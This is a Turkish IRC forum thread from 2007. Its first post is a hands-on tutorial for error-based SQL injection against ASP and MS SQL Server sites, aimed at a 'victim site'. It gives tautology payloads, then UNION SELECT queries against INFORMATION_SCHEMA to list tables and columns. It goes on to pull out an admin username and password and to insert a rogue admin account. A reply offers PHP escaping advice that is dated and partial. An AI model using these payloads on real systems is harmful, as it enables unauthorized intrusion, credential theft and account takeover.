IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   Güvenlik Açıkları (https://www.ircforumlari.net/guvenlik-aciklari/)
-   -   ASP SQL Enjeksiyon (https://www.ircforumlari.net/guvenlik-aciklari/34045-asp-sql-enjeksiyon.html)

Julw 12 Temmuz 2007 05:08

ASP SQL Enjeksiyon
 
ASP SQL ENJEKSIYON


ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;


Database = Veritabani Nedir :

Veritabani verilerimizin düzenli olarak saklandigi dijital bir
ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur.


Veritabani Programlari:

Günümüzde, birçok firmanin ürettigi db programlari mevcuttur... Ama
bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO’dur.


SQL Nedir :

Sql (Structured Query Language) bir veritabani dilidir.Uygulama
gelistiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanirlar.
Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS’te
bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her
zaman vardir. Örnek bir Sql ifadesi yazalim;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize
bulsun :) Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ;

SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"

SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE
kriterine göre tespit edilen kriterlerin hangi alanlarinin
görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade,
sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi
ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini
belirtmemizi saglar.

Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini
bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim
o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz.

SQL Hata verdirtmek için sunlar yapilabilir:

Asp sql enjeksiyondan bahsedecegim

Asp sitemizin tabiki db si ve sql si olan :) search engine ya da
login barina :




Bunu yaziyoruz :) Egeeer :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’xchatx1’ to a column of data type
int.

/index.asp, line 29


Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim...


Baska türlü de sql a hata verdirebilirsiniz :

’ or 1=1--


" or 1=1--

’ or ’a’=’a

or 1=1--

’) or (’a’=’a

" or "a"="a



Bunlari da aynene deneyin ...
simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini
ögrendik :) xchatx1 table namemimiz.

Simdi burdan diger tablolarinda ismini ögrenmemiz lazim...

SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1--’

Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan
seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk
attik SQL a yani.
Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi
SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...


Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha :

ilk önce kurban siteyi seçtik....

Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

UNION SQL a birden çok soru sormak için kullandik.

INFORMATION_SCHEMA.TABLES-- ise hiç table ismi bilmedigimiz için
yazdik

Top 1 table_name ise en üstteki tablo anlamina geliyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’serles’ to a column of data type int.
/index.asp, line 23


Hatamizi aldik :)
Top 1 table_name serles mis!!

Simdi isimize yarayacak tablelari ögrenelim mesela admin table
larini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!!! dicez :)

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%
25admin%’--

Hatayi aliyoruz :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3

Burda admin diye baslayan admins diye bir table var. Simdi bu admins
table inin column yani sutünlarini ögrenme zamani!

Kodu yaziyoruz : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME LIKE = ’admins’--


Burada da INFORMATION_SCHEMA.TABLES yerine
INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik
sql’e, o da bu feykimizi yedi:

Hatayi alalim :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logonID’ to a column of data type
int.
/index.asp, line 22


ilk kolum LogonID çikti :)

Simdi 2. sütünü istiyoruz :

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--

Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logs’ to a column of data type int.

Ögrendik adi logs.

Artik sifre neredeyse geliyor kucagimiza :)

Önce Password ve detaillarina bakicaz.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN
(’logonID’,’logs’,’password’,details’)--

Hata :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must
appear in the select list if the statement contains a UNION
operator.
/index.asp, line 4

iki sütün var sansimiza güvenelim ilk logonu deneyelim :

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 logon
FROM admins--

admins table indaki logon sütunundaki ilk ini seçiyoruz.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’xrealcrack’ to a column of data type
int.
/index.asp, line 7

ve admin nick geldi.

xrealcrack isimli kullanicinin sifresini ver bize SQL :) :

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 password
FROM admins where logon=’ xrealcrack ’--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’albert8387vsc’ to a column of data
type int.
/index.asp, line 4

Sifremizi aldik albert8387vsc :) ok artik hackledik..

Kendimiz de kullanici yaratabiliriz admins table inda logon column
ünde :)

Kodu : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] INSERT
INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES
(223,’SwmeRt’,’123456’,’NA’)--

SwmeRt nickli bi admin olusturduk sifresi de : 123456 iste bu
kadar...


Not:Alıntıdır.

Nickolas 12 Temmuz 2007 09:03

Cevap: ASP SQL Enjeksiyon
 
Arkadaşımızın SQL injection sadece ASP için geçerli değildir. Veri tabanı ve SQL kullanan tüm web programlama dilleri için geçerlidir.

Bu açığı kapatmak için POST 'tan veya GET 'ten aldığınız bilgileri temizleyin. Nasıl mı?

Örnek PHP için:

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

diyelim...

haberid 'yi olduğu gibi çağırırsanız SQL injection kaçınılmazdır...

<?php

$haberid = intval($_GET['haberid']);

?>

dediğinizde

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT FROM bilmemne

şeklinde adresi değişseniz bile... $haberid 3 'e dönecektir.


veya...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Gibi bir adresiniz içeriyor varsayalım Bu noktada SQL injection yememek için

1- Scriptinizin initialize bölümüne

Kod:

<?php
/**
* @author Nickolas
* @date  12/07/2007 08:56:29
*/
function deep_addslashes($gpc)
{
 if (is_array($gpc))
 {
  foreach ($gpc AS $var => $val)
  {
  if (is_array($val))
  {
    deep_addslashes($val);
    continue;
  }
  $gpc["$var"] = addslashes($gpc["$var"]);
  }
 }
 else
 {
  $gpc = addslashes($gpc);
 }
 return $gpc;
}
if (@ini_get('register_globals') AND !@ini_set('register_globals', 0))
{
 trigger_error("Devam edebilmek icin <strong>php.ini</strong> dosyanizda 'register_globals' degerini 'Off' yapmalisiniz", E_USER_ERROR);
 exit;
}
@ini_set('magic_quotes_sybase', 0);
@ini_set('set_magic_quotes_runtime', 0);
$gotmagic = false;
if (function_exists('get_magic_quotes_gpc') AND @get_magic_quotes_gpc())
{
 $gotmagic = true;
}
if ($gotmagic == false)
{
 foreach (array('_POST', '_GET', '_REQUEST', '_COOKIE') AS $GPC)
 {
  $GLOBALS["$GPC"] = deep_addslashes($GLOBALS["$GPC"]);
 }
}
?>

Kodlarını Girin.

Bu kod...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] OR UNION SELECT * FROM admin WHERE 'a' = 'a'

daki kodun Tek Tırnak ( ' ) karekterlerini (\') şeklinde getirecek ve SQL Injection dan kurulacaksınız...

2. İşlem

<?php

$kategori = trim($_GET['do']);

mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'");
?>

şeklinde değil de...

<?php

$kategori = mysql_real_escape_string(trim($_GET['do']));

mysql_query("SELECT * FROM haber WHERE kategori = '$kategori'");

?>

Şeklinde kullanın. mysql_real_escape_string fonksonu bir nevi addslashes görevi yapar... ve ayrımlarda kullandığı Tek Tırnak karekterini operatörlükten string e indirger..


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 08:29.

Powered by vBulletin® Version 3.8.8 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2024 IRCForumlari.Net